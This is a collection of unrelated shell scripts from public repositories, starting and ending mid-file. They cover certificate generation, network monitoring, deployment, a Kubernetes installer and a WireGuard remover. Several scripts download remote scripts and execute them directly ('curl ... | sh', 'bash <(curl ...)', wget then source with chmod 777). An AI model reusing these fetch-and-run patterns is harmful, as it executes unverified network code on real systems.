\"$MAILFILE\"\n------------=_$NEXT_PART--\nEOF\nfi\n\n$SENDMAIL -t < \"$MAILFILE\"\n$RM_F \"$MAILFILE\""} {"text": "mariliamelo/gcp-mr-platform-automation\n#!/bin/bash\n\nDOMAIN=gcp2.mfisch.io\n\nset -e\necho \"Generating CA\"\nopenssl genrsa -out ${DOMAIN}-CA.key 2048\nopenssl req -x509 -new -nodes -key ${DOMAIN}-CA.key -sha256 -days 1024 -out ${DOMAIN}-CA.pem -config config.CA\n\necho \"Generating CSRs\"\nopenssl req -newkey rsa:2048 -nodes -keyout central.${DOMAIN}.key -config config.central -out central.${DOMAIN}.csr\nopenssl req -newkey rsa:2048 -nodes -keyout west.${DOMAIN}.key -config config.west -out west.${DOMAIN}.csr\n\necho \"Generating Certs\"\nopenssl x509 -req -in central.${DOMAIN}.csr -CA ${DOMAIN}-CA.pem -CAkey ${DOMAIN}-CA.key -CAcreateserial -out central.${DOMAIN}.pem -days 1024 -sha256 -extfile config.CA -extensions req_ext\nopenssl x509 -req -in west.${DOMAIN}.csr -CA ${DOMAIN}-CA.pem -CAkey ${DOMAIN}-CA.key -CAcreateserial -out west.${DOMAIN}.pem -days 1024 -sha256 -extfile config.CA -extensions req_ext\n\necho \"Convert key to PEM so credhub is happy\"\nopenssl rsa -in west.${DOMAIN}.key -out west.${DOMAIN}.key.pem -outform PEM\nopenssl rsa -in central.${DOMAIN}.key -out central.${DOMAIN}.key.pem -outform PEM"} {"text": "0\n#!/bin/bash\n\nWAIT=$1\nMIN=1\n\nif [ $# == 1 ]\nthen\n echo \"---------START PING QOS---------\"\n\n while true\n do\n TIME=$(ping -c 1 10.1.5.2 | awk -F \" \" 'FNR==2{print substr($7,6)}')\n MSG=\"\"\n if [ -z $TIME ] || [ 1 -eq \"$(echo \"$TIME > $MIN\" | bc)\" ]\n then\n MSG=$(echo \"Ping: ALERT\")\n else\n MSG=$(echo \"Ping Time:\" $TIME \"ms\")\n fi\n echo $MSG\n echo $MSG >> log_ping_qos.txt\n sleep $WAIT\n done\nelse\n echo \"Usage: ./ping_qos.sh \"\nfi"} {"text": "NLnetLabs/secure-routing-stats\n#!/bin/bash\n\n# Exit on any error, e.g. bail out if downloading new sources fails\nset -e\n\n#\n# This is script is meant to be run through cron by the stats\n# user. It will get RPKI information, store it in a folder for\n# today and run secure_routing_stats with the new information.\n#\n# It assumes that there is a local routinator instance running.\n#\n# The secure_routing_stats deamon will run because server side\n# processing is needed to do scoped analysis - i.e. we could not\n# just generate static content daily. This assumes that a proxy\n# like nginx is set up to proxy requests to the service as well\n# as serve the static 'sources' content which is archived daily.\n#\n# It is meant to be run once per day, if it is run more than once\n# it will simply overwrite the previous information. It would be\n# simple to change this - just include the time of day in DATA_SUB\n# below - but there should be no need to run this more frequently.\n#\n\nRIS_v4_SOURCE=\"http://www.ris.ripe.net/dumps/riswhoisdump.IPv4.gz\"\nRIS_v6_SOURCE=\"http://www.ris.ripe.net/dumps/riswhoisdump.IPv6.gz\"\nNRO_SOURCE=\"https://www.nro.net/wp-content/uploads/apnic-uploads/delegated-extended\"\nVRPS_SOURCE=\"http://localhost:8323/csv\"\n\n# Create today's dir\nBASE_DIR=\"/home/stats/sources\"\nDATE_SUB=`date +%Y/%m/%d`\nDATE_DIR=\"$BASE_DIR/$DATE_SUB\"\n\nmkdir -p $DATE_DIR\n\n# Set target locations for download and unpack\nRIS_v4_GZ_TARGET=\"$DATE_DIR/ris-v4.txt.gz\"\nRIS_v4_TARGET=\"$DATE_DIR/ris-v4.txt\"\nRIS_v6_GZ_TARGET=\"$DATE_DIR/ris-v6.txt.gz\"\nRIS_v6_TARGET=\"$DATE_DIR/ris-v6.txt\"\nNRO_TARGET=\"$DATE_DIR/nro-stats.txt\"\nVRPS_TARGET=\"$DATE_DIR/vrps.csv\"\n\nWORLD_TEXT_TARGET=\"$DATE_DIR/world-stats.txt\"\nWORLD_JSON_TARGET=\"$DATE_DIR/world-stats.json\"\n\n# Download and unpack new sources\ncurl -s -o $RIS_v4_GZ_TARGET $RIS_v4_SOURCE \ncurl -s -o $RIS_v6_GZ_TARGET $RIS_v6_SOURCE \ncurl -s -L -o $NRO_TARGET $NRO_SOURCE\ncurl -s -o $VRPS_TARGET $VRPS_SOURCE\n\ngunzip -f $RIS_v4_GZ_TARGET\ngunzip -f $RIS_v6_GZ_TARGET\n\n# Get world stats text and json\nsecure_routing_stats world --announcements $RIS_v4_TARGET $RIS_v6_TARGET --vrps $VRPS_TARGET --delegations $NRO_TARGET --format text > $WORLD_TEXT_TARGET\nsecure_routing_stats world --announcements $RIS_v4_TARGET $RIS_v6_TARGET --vrps $VRPS_TARGET --delegations $NRO_TARGET --format json > $WORLD_JSON_TARGET\n\n# Restart the secure routing stats deamon - we need to RUN the deamon\n# because it uses server side parsing to show details for specific resources\nSTATS_PID_FILE=\"/home/stats/secure-routing-stats.pid\"\n\n# Kill previous instance if it was running\nif [[ -f \"$STATS_PID_FILE\" ]]; then\n kill `cat $STATS_PID_FILE` || true \nfi\n\n# Run it again and save the PID\nsecure_routing_stats daemon --announcements $RIS_v4_TARGET $RIS_v6_TARGET --vrps $VRPS_TARGET --delegations $NRO_TARGET &\necho $! > $STATS_PID_FILE\n\n# Now bzip the source files to save some space - they have already been read so this is safe\nbzip2 -f $RIS_v4_TARGET\nbzip2 -f $RIS_v6_TARGET\nbzip2 -f $NRO_TARGET\nbzip2 -f $VRPS_TARGET"} {"text": "player/perms/approve.command1-10\nregister_command('approve', array(\n\t'description': 'Approves a player so that they can build in survival.',\n\t'usage': '/approve ',\n\t'aliases': array('whitelist'),\n\t'permission': 'command.approve',\n\t'executor': closure(@alias, @sender, @args, @info) {\n\t\tif(!@args) {\n\t\t\treturn(false);\n\t\t}\n\t\t@player = _find_player(@args[0]);\n\t\tif(@player == player()) {\n\t\t\tdie(color('gold').'Are you that desperate for approval?');\n\t\t}\n\t\tinclude('includes.library/procedures.ms');\n\t\tif(_set_group(@player, 'member', true)) {\n\t\t\tmsg(color('green').'Added player.');\n\t\t\ttmsg(@player, 'You have been added to the whitelist by '.color('yellow').player().color('white').'.');\n\t\t\tif(!has_permission('group.moderator')) {\n\t\t\t\t@pdata = _pdata(@player);\n\t\t\t\t@pdata['approval'] = player();\n\t\t\t\t_store_pdata(@player, @pdata);\n\t\t\t}\n\t\t}\n\t}\n));"} {"text": "#!/bin/sh -\n\nSCRIPT_DIR=\"$( cd \"$( dirname \"$0\" )\" && pwd )\"\nRECORD=false\n\nwhile getopts \":r\" opt; do\n case $opt in\n r)\n RECORD=true\n ;;\n \\?)\n echo \"Invalid option: -$OPTARG\" >&2\n exit 1\n ;;\n esac\ndone\n\nif [ $RECORD = true ]; then\n\tsudo $SCRIPT_DIR/../bin/python $SCRIPT_DIR/burro/drive.py --record\nelse\n\tsudo $SCRIPT_DIR/../bin/python $SCRIPT_DIR/burro/drive.py\nfi"} {"text": "0\n#!/bin/bash\nset -eu -o pipefail\n\noutdir=${PREFIX}/share/$PKG_NAME-$PKG_VERSION-$PKG_BUILDNUM\necho $outdir\nmkdir -p $outdir\nmkdir -p ${PREFIX}/bin\ncp -R $PKG_NAME$PKG_VERSION/* $outdir/\ncp $RECIPE_DIR/hops.py $outdir/hops\ncp $RECIPE_DIR/MaltExtract.py $outdir/MaltExtract\nls -l $RECIPE_DIR\nln -s $outdir/hops ${PREFIX}/bin\nln -s $outdir/MaltExtract ${PREFIX}/bin\nls -l $outdir\nmv $outdir/postprocessing.AMPS.r ${PREFIX}/bin/\nchmod 0755 ${PREFIX}/bin/hops\nchmod 0755 ${PREFIX}/bin/MaltExtract\nchmod 0755 ${PREFIX}/bin/postprocessing.AMPS.r"} {"text": "10-100\n#!/bin/bash -e\n##-------------------------------------------------------------------\n## @copyright 2016 DennyZhang.com\n## Licensed under MIT\n## https://raw.githubusercontent.com/DennyZhang/devops_public/tag_v1/LICENSE\n##\n## File : effort_report.sh\n## Author : nyZhang.com <>\n## Description :\n## --\n## Created : <2015-10-13>\n## Updated: Time-stamp: <2017-09-04 18:54:37>\n##-------------------------------------------------------------------\n\n################################################################################################\n## env variables: working_dir, git_repo_url, branch_nae, start_weekday\n##\n## Example:\n## git_repo_url:\":authright/devops_effort.git\"\n## branch_name: dev\n## start_weekday:\"2015-10-12\"\n################################################################################################\n. /etc/profile\n[ -n \"$DOWNLOAD_TAG_NAME\" ] || export DOWNLOAD_TAG_NAME=\"tag_v6\"\nexport DOWNLOAD_PREFIX=\"https://raw.githubusercontent.com/DennyZhang/devops_public/${DOWNLOAD_TAG_NAME}\"\nif [ ! -f /var/lib/devops/refresh_common_library.sh ]; then\n [ -d /var/lib/devops/ ] || (sudo mkdir -p /var/lib/devops/ && sudo chmod 777 /var/lib/devops)\n wget -O /var/lib/devops/refresh_common_library.sh \"$DOWNLOAD_PREFIX/common_library/refresh_common_library.sh\"\n chmod 777 /var/lib/devops/refresh_common_library.sh\nfi\nbash /var/lib/devops/refresh_common_library.sh \"3536991806\" \"/var/lib/devops/devops_common_library.sh\" \\\n \"${DOWNLOAD_PREFIX}/common_library/devops_common_library.sh\"\n. /var/lib/devops/devops_common_library.sh\n################################################################################################\nfunction get_effort_summary() {\n #set -xe\n git_dir=${1?}\n start_pattern=${2?}\n end_pattern=${3?}\n result=\"\"\n for f in ${git_dir}/*/effort.md; do\n if ! grep \"$end_pattern\" \"$f\" >/dev/null 2>&1 ; then\n end_pattern=\"$(date +'%Y')-\"\n echo \"Warning: Failed to find $end_pattern in $f. Choose another pattern: $end_pattern\"\n fi\n content=$(awk \"/$start_pattern/,/$end_pattern/\" \"$f\" | grep -v \"^$start_pattern\" | grep -v '^=======' | grep -v \"^$end_pattern\")\n name=$(dirname \"$f\")\n name=${name##*/}\n result=\"${result}Member - ${name}:\\n${content}\\n---------------------------------\\n\\n\"\n done\n echo -e \"$result\"\n}\n################################################################################################\n[ -n \"$working_dir\" ] || working_dir=\"$HOME/code/$JOB_NAME\"\n\nif [ -z \"$start_weekday\" ]; then\n start_weekday=$(last_monday)\nfi\n\nstart_pattern=$start_weekday\nend_pattern=$(caculate_date \"$start_pattern\" \"7*24*60*60\") # 7days before\n\n# checkout code\ngit_repo=$(parse_git_repo \"$git_repo_url\")\ncode_dir=\"$working_dir/$branch_name/$git_repo\"\ngit_update_code \"$branch_name\" \"$working_dir\" \"$git_repo_url\" 1>/dev/null\n\n# parse content\ncontent=$(get_effort_summary \"$code_dir\" \"$start_pattern\" \"$end_pattern\")\necho \"Show report\"\ntitle=\"DevOps周报\"\necho -e \"☆☆☆☆ ${title}: ${start_weekday} ☆☆☆☆\\n\\n$content\"\necho \"Report is generated\"\n## File : effort_report.sh ends"} {"text": "milochen0418/linux-blockchain\n#!/bin/bash\npython python-executor-without-web.py '{\"func\":\"do_function_void\" }'\npython python-executor-without-web.py '{\"func\":\"do_function_one_arg\",\"arg1\":\"Hello World\" }'\npython python-executor-without-web.py '{\"func\":\"func_with_args\", \"argNum\":345,\"argStr\":\"MyString\"}'\npython python-executor-without-web.py '{\"func\":\"storage_setter\",\"KeyStr\":\"OmgKey\", \"Value\":3939889}'\npython python-executor-without-web.py '{\"func\":\"storage_getter\",\"KeyStr\":\"OmgKey\"}'\npython python-executor-without-web.py '{\"func\":\"storage_setter\",\"KeyStr\":\"OmgKey\", \"Value\":\"Milo DApp\"}'\npython python-executor-without-web.py '{\"func\":\"storage_getter\",\"KeyStr\":\"OmgKey\"}'"} {"text": "PWN-Hunter/mesa3d0\nset -e\nset -v\n\nARTIFACTSDIR=`pwd`/shader-db\nmkdir -p $ARTIFACTSDIR\nexport DRM_SHIM_DEBUG=true\n\nLIBDIR=`pwd`/install/lib\nexport LD_LIBRARY_PATH=$LIBDIR\n\ncd /usr/local/shader-db\n\nfor driver in freedreno v3d; do\n env LD_PRELOAD=$LIBDIR/lib${driver}_noop_drm_shim.so \\\n ./run -j 4 ./shaders \\\n > $ARTIFACTSDIR/${driver}-shader-db.txt\ndone"} {"text": "#!/bin/bash\n# https://www.hackerrank.com/challenges/text-processing-cut-3/problem\ncut -c2-7"} {"text": "flip1995/r2c-clippy\n#!/bin/bash\n\necho \"⚠️ Empty unittest!\""} {"text": "MbahJoey/Drupalweb/modules/contrib/realistic_dummy_content/scripts/uli.sh\n#!/bin/bash\n#\n# Get a login link for the environment.\n#\nset -e\n\ndocker-compose exec -T drupal /bin/bash -c \"drush -l $(docker-compose port drupal 80) uli\""} {"text": "yuseidesu/mcl_3dl\n#!/bin/bash\n\nset -o errexit\n\nsource /opt/ros/${ROS_DISTRO}/setup.bash\ncd /catkin_ws\n\nbuild_number=\"[[#${TRAVIS_BUILD_NUMBER}](${TRAVIS_BUILD_WEB_URL})]\"\n\npkgs=$(find . -name package.xml | xargs -n1 dirname)\ncatkin_lint $pkgs \\\n || (gh-pr-comment \"${build_number} FAILED on ${ROS_DISTRO}\" \\\n \"
catkin_lint failed\n\n\\`\\`\\`\n$(catkin_lint $pkgs 2>&1)\n\\`\\`\\`\n
\"; false)\n\nmkdir -p /catkin_ws/build/mcl_3dl/test/\nmv /catkin_ws/src/mcl_3dl/.cached-dataset/* /catkin_ws/build/mcl_3dl/test/\nls -lh /catkin_ws/build/mcl_3dl/test/\n\nsed -i -e '5a set(CMAKE_C_FLAGS \"-Wall -Werror -O1 -coverage\")' \\\n /opt/ros/${ROS_DISTRO}/share/catkin/cmake/toplevel.cmake\nsed -i -e '5a set(CMAKE_CXX_FLAGS \"-Wall -Werror -O1 -coverage\")' \\\n /opt/ros/${ROS_DISTRO}/share/catkin/cmake/toplevel.cmake\n\nCM_OPTIONS=''\n\ncatkin_make -DMCL_3DL_EXTRA_TESTS=ON ${CM_OPTIONS} || \\\n (gh-pr-comment \"${build_number} FAILED on ${ROS_DISTRO}\" '```catkin_make``` failed'; false)\ncatkin_make tests -DMCL_3DL_EXTRA_TESTS=ON ${CM_OPTIONS} || \\\n (gh-pr-comment \"${build_number} FAILED on ${ROS_DISTRO}\" '```catkin_make tests``` failed'; false)\ncatkin_make run_tests -DMCL_3DL_EXTRA_TESTS=ON ${CM_OPTIONS} || \\\n (gh-pr-comment \"${build_number} FAILED on ${ROS_DISTRO}\" '```catkin_make run_tests``` failed'; false)\n\nif [ catkin_test_results ];\nthen\n result_text=\"\n\\`\\`\\`\n$(catkin_test_results --all | grep -v Skipping || true)\n\\`\\`\\`\n\"\nelse\n result_text=\"\n\\`\\`\\`\n$(catkin_test_results --all | grep -v Skipping || true)\n\\`\\`\\`\n$(find build/test_results/ -name *.xml | xargs -n 1 -- bash -c 'echo; echo \\#\\#\\# $0; echo; echo \\\\\\`\\\\\\`\\\\\\`; xmllint --format $0; echo \\\\\\`\\\\\\`\\\\\\`;')\n\"\nfi\ncatkin_test_results || (gh-pr-comment \"${build_number} FAILED on ${ROS_DISTRO}\" \"
Test failed\n\n$result_text
\"; false)\n\n(cd src/mcl_3dl/;\n cp -r /catkin_ws/build ./;\n bash <(curl -s https://codecov.io/bash) -y .codecov.yml 2> /dev/null)\n\ngh-pr-comment \"${build_number} PASSED on ${ROS_DISTRO}\" \"
All tests passed\n\n$result_text
\" || true"} {"text": "#!/bin/bash\n\nPROJDIR=$( cd $(dirname $0) ; pwd -P )\ncd ${PROJDIR}\n\nPYTHON=\"${PROJDIR}/env/bin/python\"\n\npid=$(pgrep -f \"${PYTHON}\")\nif [ ${pid} ]; then\n kill ${pid}\nfi\n\nif [ $# -eq 0 ]; then\n nohup ${PYTHON} ./flask_server.py &\nfi"} {"text": "#!/bin/bash\n\n# ----------------------\n# KUDU Deployment Script\n# Version: 1.0.17\n# ----------------------\n\n# Helpers\n# -------\n\nexitWithMessageOnError () {\n if [ ! $? -eq 0 ]; then\n echo \"An error has occurred during web site deployment.\"\n echo $1\n exit 1\n fi\n}\n\n# Prerequisites\n# -------------\n\n# Verify node.js installed\nhash node 2>/dev/null\nexitWithMessageOnError \"Missing node.js executable, please install node.js, if already installed make sure it can be reached from current environment.\"\n\n# Setup\n# -----\n\nDEPLOY_START=$(date +%FT%T%z)\nSCRIPT_DIR=\"${BASH_SOURCE[0]%\\\\*}\"\nSCRIPT_DIR=\"${SCRIPT_DIR%/*}\"\nARTIFACTS=$SCRIPT_DIR/../artifacts\nKUDU_SYNC_CMD=${KUDU_SYNC_CMD//\\\"}\n\nif [[ ! -n \"$DEPLOYMENT_SOURCE\" ]]; then\n DEPLOYMENT_SOURCE=$SCRIPT_DIR\nfi\n\nif [[ ! -n \"$NEXT_MANIFEST_PATH\" ]]; then\n NEXT_MANIFEST_PATH=$ARTIFACTS/manifest\n\n if [[ ! -n \"$PREVIOUS_MANIFEST_PATH\" ]]; then\n PREVIOUS_MANIFEST_PATH=$NEXT_MANIFEST_PATH\n fi\nfi\n\nif [[ ! -n \"$DEPLOYMENT_TARGET\" ]]; then\n DEPLOYMENT_TARGET=$ARTIFACTS/wwwroot\nelse\n KUDU_SERVICE=true\nfi\n\nif [[ ! -n \"$KUDU_SYNC_CMD\" ]]; then\n # Install kudu sync\n echo Installing Kudu Sync\n npm install kudusync -g --silent\n exitWithMessageOnError \"npm failed\"\n\n if [[ ! -n \"$KUDU_SERVICE\" ]]; then\n # In case we are running locally this is the correct location of kuduSync\n KUDU_SYNC_CMD=kuduSync\n else\n # In case we are running on kudu service this is the correct location of kuduSync\n KUDU_SYNC_CMD=$APPDATA/npm/node_modules/kuduSync/bin/kuduSync\n fi\nfi\n\n# Node Helpers\n# ------------\n\nselectNodeVersion () {\n if [[ -n \"$KUDU_SELECT_NODE_VERSION_CMD\" ]]; then\n SELECT_NODE_VERSION=\"$KUDU_SELECT_NODE_VERSION_CMD \\\"$DEPLOYMENT_SOURCE\\\" \\\"$DEPLOYMENT_TARGET\\\" \\\"$DEPLOYMENT_TEMP\\\"\"\n eval $SELECT_NODE_VERSION\n exitWithMessageOnError \"select node version failed\"\n\n if [[ -e \"$DEPLOYMENT_TEMP/__nodeVersion.tmp\" ]]; then\n NODE_EXE=`cat \"$DEPLOYMENT_TEMP/__nodeVersion.tmp\"`\n exitWithMessageOnError \"getting node version failed\"\n fi\n \n if [[ -e \"$DEPLOYMENT_TEMP/__npmVersion.tmp\" ]]; then\n NPM_JS_PATH=`cat \"$DEPLOYMENT_TEMP/__npmVersion.tmp\"`\n exitWithMessageOnError \"getting npm version failed\"\n fi\n\n if [[ ! -n \"$NODE_EXE\" ]]; then\n NODE_EXE=node\n fi\n\n NPM_CMD=\"\\\"$NODE_EXE\\\" \\\"$NPM_JS_PATH\\\"\"\n else\n NPM_CMD=npm\n NODE_EXE=node\n fi\n}\n\n##################################################################################################################################\n# Deployment\n# ----------\n\necho Handling node.js deployment.\n\n# 1. KuduSync\nif [[ \"$IN_PLACE_DEPLOYMENT\" -ne \"1\" ]]; then\n \"$KUDU_SYNC_CMD\" -v 50 -f \"$DEPLOYMENT_SOURCE\" -t \"$DEPLOYMENT_TARGET\" -n \"$NEXT_MANIFEST_PATH\" -p \"$PREVIOUS_MANIFEST_PATH\" -i \".git;.hg;.deployment;deploy.sh\"\n exitWithMessageOnError \"Kudu Sync failed\"\nfi\n\n# 2. Select node version\nselectNodeVersion\n\n# 3. Install npm packages\nif [ -e \"$DEPLOYMENT_TARGET/package.json\" ]; then\n cd \"$DEPLOYMENT_TARGET\"\n echo \"Running $NPM_CMD install --production=false\"\n eval NODE_ENV=installing $NPM_CMD install --production=false\n exitWithMessageOnError \"npm failed\"\n echo \"Installed Packages:\"\n eval $NPM_CMD ls --depth=0\n cd - > /dev/null\nfi\n\n# Compile Typescript\necho \"Compiling TypeScript in $DEPLOYMENT_TARGET...\"\n\"$NODE_EXE\" \"${DEPLOYMENT_TARGET}\\node_modules\\typescript\\bin\\tsc\" -p \"$DEPLOYMENT_TARGET\"\nexitWithMessageOnError \"failed to compile typescript\"\n\necho \"Marking as deployed via Sentry\"\nVERSION=$(git rev-parse HEAD)\ncurl -X POST \\\n \"https://sentry.io/api/0/organizations/${SENTRY_ORG}/releases/${VERSION}/deploys/\" \\\n -H \"Authorization: Bearer ${SENTRY_AUTH_TOKEN}\" \\\n -H 'Content-Type: application/json' \\\n -d '{\n\t\"environment\": \"'${NODE_ENV}'\",\n\t\"name\": \"'${VERSION}'\",\n\t\"dateStarted\": \"'${DEPLOY_START}'\",\n\t\"dateFinished\": \"'$(date +%FT%T%z)'\"\n}'\n\n# Please, please let one of these work\nexport GIT_HASH=${VERSION}\necho ${VERSION} > ${DEPLOYMENT_TARGET}/version.txt\n\n##################################################################################################################################\n\n# Post deployment stub\nif [[ -n \"$POST_DEPLOYMENT_ACTION\" ]]; then\n POST_DEPLOYMENT_ACTION=${POST_DEPLOYMENT_ACTION//\\\"}\n cd \"${POST_DEPLOYMENT_ACTION_DIR%\\\\*}\"\n \"$POST_DEPLOYMENT_ACTION\"\n exitWithMessageOnError \"post deployment action failed\"\nfi\n\necho \"Finished successfully.\""} {"text": "1-10\n#? Usage:\n#? @padding STRING PADDING LENGTH\n#?\n#? Options:\n#? STRING Original string to pad.\n#? PADDING Padding string.\n#? LENGTH Target length.\n#? The length must be reasonable to the STRING and PADDING.\n#?\n#? Output:\n#? Padded string.\n#?\n#? Example:\n#? $ @padding '1010' '0' 8\n#? 00001010\n#? $ @padding '1010' '10' 8\n#? 10101010\n#?\nfunction padding () {\n declare str=$1 padding=$2 len=$3\n declare gap\n\n if [[ -z ${str} || -z ${padding} || -z ${len} ]]; then\n return 255\n fi\n\n gap=$((len - ${#str}))\n if [[ ${gap} -lt 0 ]] ; then\n printf \"ERROR: target LENGTH can not be less than STRING's length.\\n\" >&2\n return 255\n fi\n\n if [[ $((gap % ${#padding})) -ne 0 ]]; then\n printf \"ERROR: STRING can not be padded with '%s' to be LENGTH %s.\\n\" \\\n \"${padding}\" \"${len}\" >&2\n return 255\n fi\n\n echo \"$(xsh /string/repeat \"${padding}\" \"$((gap / ${#padding}))\")${str}\"\n}"} {"text": "build-scripts/build_all_containers.sh0\n#!/bin/bash\n# Builds all containers from the Dockerfile, tagging them with their names.\n# Must be run from the repo's root directory.\n\nCONTAINERS=(op-base op-py-build op-minimal op-dev)\nADDITIONAL=(op-gitpod)\nA_TGTS=(op-dev)\nA_ARGS=('--build-arg OP_USER=gitpod --build-arg OP_UID=33333')\nDOCKER_REPO=thomasschweich/open-portfolio\n\nfor container in ${CONTAINERS[@]}; do\n docker build --target ${container} -t ${DOCKER_REPO}:${container} .\ndone\n\nfor (( i=0; i<${#ADDITIONAL[@]}; ++i)); do\n docker build --target ${A_TGTS[$i]} $(echo ${A_ARGS[$i]}) -t ${DOCKER_REPO}:${ADDITIONAL[$i]} .\ndone"} {"text": "#!/bin/sh\n\n# generate ILP\n../../scripts/spp_dcj.py -m Example1.idmap -a 0.5 -b 0.25 SpeciesTree.txt \\\n AdjacenciesExample1.txt > Example1.ilp 2> Example1.spp_dcj.log\n# run ILP\ngurobi_cl ResultFile=Example.sol Example1.ilp > Example1.gurobi.log\n# extract adjacencies from solution\n../../scripts/sol2adjacencies.py Example1.sol Example1.idmap > \\\n PredictedAdjacenciesExample1.txt\n# visualize candidate and predicted adjacencies\n ../../scripts/visualize_genomes.py -i PredictedAdjacenciesExample1.txt \\\n AdjacenciesExample1.txt > PredictedAdjacenciesExample1.pdf"} {"text": "#!/bin/bash\n#-------------------------------------------使用kubeadm安装kubernetes_v1.15.4-master管理者---------------------------------\n#-----------------------------------------------------手动输入------------------------------------------------\n\n# 设置master主节点名称\nsethostname=\"$1\"\n# 设置master-ip地址\nsetmasterip=\"$2\"\n# 设置master-dns名称\napiservername=\"$3\"\n# 设置pod容器所在网段\npodsubnet=\"$4\"\n\n# 暂时不能输入\n# read -p \"1.设置master名称,默认【k8s-master】:\" sethostname\n# read -p \"2.设置master-ip地址,默认【172.17.16.9】:\" setmasterip\n# read -p \"3.设置master-dns名称,默认【apiserver.k8s】:\" apiservername\n# read -p \"4.设置pod容器所在网段,默认【10.100.0.1/20】:\" podsubnet\n\n#------------------------------------------------------------------------------------------------------------\n# 设置主机hostname\n# sethostname='k8s-master'\n# 设置主机内网ip\n# setmasterip='172.17.16.9'\n# 设置dns名称\n# apiservername='apiserver.k8s'\n# 设置容器网段\n# podsubnet='10.100.0.1/20'\n\n#------------------------------------------------------------------------------------------------------------\n\nsed -i \"s#127.0.0.1 $(hostname)##g\" /etc/hosts\nsed -i \"s#${MASTER_IP} ${APISERVER_NAME}##g\" /etc/hosts\n\n#-------------------------------------------修改 hostname-----------------------------------------------------\n# 修改 hostname\nhostnamectl set-hostname $sethostname\n# 查看修改结果\nhostnamectl status\n# 设置 hostname 解析\necho \"127.0.0.1 $(hostname)\" >> /etc/hosts\n#------------------------------------------------------------------------------------------------------------\n# 安装docker及kubelet\n# 在 master 节点和 worker 节点都要执行\n\nret=`curl -s https://api.ip.sb/geoip | grep China | wc -l`\nif [ $ret -ne 0 ]; then\n curl -sSL https://gitee.com/happylay/Kubernetes/raw/master/kubernetes%20v1.15.4/install-script/install-kubelet.sh | sh\nelse\n curl -sSL https://raw.githubusercontent.com/happylay-cloud/Kubernetes/master/kubernetes%20v1.15.4/install-script/install-kubelet.sh | sh\nfi; \n#------------------------------------------------------------------------------------------------------------\n#-------------------------------------------初始化 master 节点------------------------------------------------\n# 只在 master 节点执行\n# 替换 x.x.x.x 为 master 节点实际 IP(请使用内网 IP)\n# export 命令只在当前 shell 会话中有效,开启新的 shell 窗口后,如果要继续安装过程,请重新执行此处的 export 命令\n\necho \"MASTER_IP=$setmasterip\" >> /etc/profile\n\n# 替换 apiserver.demo 为 您想要的 dnsName\n\necho \"APISERVER_NAME=$apiservername\" >> /etc/profile\n\n# Kubernetes 容器组所在的网段,该网段安装完成后,由 kubernetes 创建,事先并不存在于您的物理网络中\n\necho \"POD_SUBNET=$podsubnet\" >> /etc/profile\n\nwhile [ -z \"$APISERVER_NAME\" ]\ndo\n source /etc/profile\ndone\n\necho \"${MASTER_IP} ${APISERVER_NAME}\" >> /etc/hosts\n\nif [ $ret -ne 0 ]; then\n wget https://gitee.com/happylay/Kubernetes/raw/master/kubernetes%20v1.15.4/install-script/init-master.sh\n chmod 755 init-master.sh\n source ./init-master.sh\nelse\n wget https://raw.githubusercontent.com/happylay-cloud/Kubernetes/master/kubernetes%20v1.15.4/install-script/init-master.sh\n chmod 755 init-master.sh\n source ./init-master.sh\nfi;\n#------------------------------------------------------------------------------------------------------------\n#-------------------------------------------检查 master 初始化结果--------------------------------------------\n# 只在 master 节点执行\n\n# 执行如下命令,等待 3-10 分钟,直到所有的容器组处于 Running 状态-不执行\n# watch kubectl get pod -n kube-system -o wide\n\n# 查看 master 节点初始化结果\nkubectl get nodes -o wide\n\n#------------------------------------------------------------------------------------------------------------\n#-------------------------------------------初始化 worker节点-------------------------------------------------\n# 获得 join命令参数\n# 只在 master 节点执行\nkubeadm token create --print-join-command >> ./k8s-join-token.txt\n\necho '\n有效时间\n该 token 的有效时间为 2 个小时,2小时内,您可以使用此 token 初始化任意数量的 worker 节点。\n'\n\n#------------------------------------------------------------------------------------------------------------\n#-------------------------------------------检查初始化结果----------------------------------------------------\n# 只在 master 节点执行\nkubectl get nodes -o wide\n\n#------------------------------------------------------------------------------------------------------------\n#-------------------------------------------安装 Ingress Controller-------------------------------------------\n# 安装 Ingress Controller\n# 只在 master 节点执行\n\nif [ $ret -ne 0 ]; then\n kubectl apply -f https://gitee.com/happylay/Kubernetes/raw/master/kubernetes%20v1.15.4/install-script/nginx-ingress.yaml\nelse\n kubectl apply -f https://raw.githubusercontent.com/happylay-cloud/Kubernetes/master/kubernetes%20v1.15.4/install-script/nginx-ingress.yaml\nfi; \n#------------------------------------------------------------------------------------------------------------\n#------------------------------------------------安装 Kuboard------------------------------------------------\n# 安装 Kuboard\n\nif [ $ret -ne 0 ]; then\n kubectl apply -f https://gitee.com/happylay/Kubernetes/raw/master/kubernetes%20v1.15.4/install-script/kuboard.yaml\nelse\n kubectl apply -f https://raw.githubusercontent.com/happylay-cloud/Kubernetes/master/kubernetes%20v1.15.4/install-script/kuboard.yaml\nfi; \n# 查看 Kuboard 运行状态:\nkubectl get pods -l k8s.eip.work/name=kuboard -n kube-system\n\n# 获取Token\n# 如果您参考 www.kuboard.cn 提供的文档安装 Kuberenetes,可在第一个 Master 节点上执行此命令\nkubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep kuboard-user | awk '{print $1}') >> ./kuboard-token.txt\n\necho '\n访问地址:http://任意一个Worker节点的IP地址:32567/\n'\n#------------------------------------------------------------------------------------------------------------\n# k8s-master也当作Node使用\nkubectl taint node k8s-master node-role.kubernetes.io/master-\n\n#------------------------------------------------------------------------------------------------------------\n\n\nsed -i \"s#MASTER_IP=$setmasterip##g\" /etc/profile\nsed -i \"s#APISERVER_NAME=$apiservername##g\" /etc/profile\nsed -i \"s#POD_SUBNET=$podsubnet##g\" /etc/profile\n\nrm -f ./init-master.sh\n\necho 'k8s安装成功,相关信息查看k8s-info'\nmkdir ./k8s-info\nmv ./calico.yaml ./k8s-info\nmv ./k8s-join-token.txt ./k8s-info\nmv ./kubeadm-config.yaml ./k8s-info\nmv ./kuboard-token.txt ./k8s-info"} {"text": "#!/bin/bash\n\ndotnet build NetCompression-Test.sln -c Release"} {"text": "echo \"# Removing\"\n\nif [[ $(id -u) -ne 0 ]]; then\n echo \"Please run as root\"\n exit 1\nfi\n\nwg-quick down wg0\nsystemctl stop wg-quick@wg0\nsystemctl disable wg-quick@wg0\n\nyes | apt autoremove wireguard wireguard-dkms wireguard-tools\n#yes | apt autoremove software-properties-common\nyes | apt update\n\nrm -rf /etc/wireguard\n\necho \"# Removed\""} {"text": "# Executable to restore parameters to CAENx527 Mainframe HVPID\n# created by the command 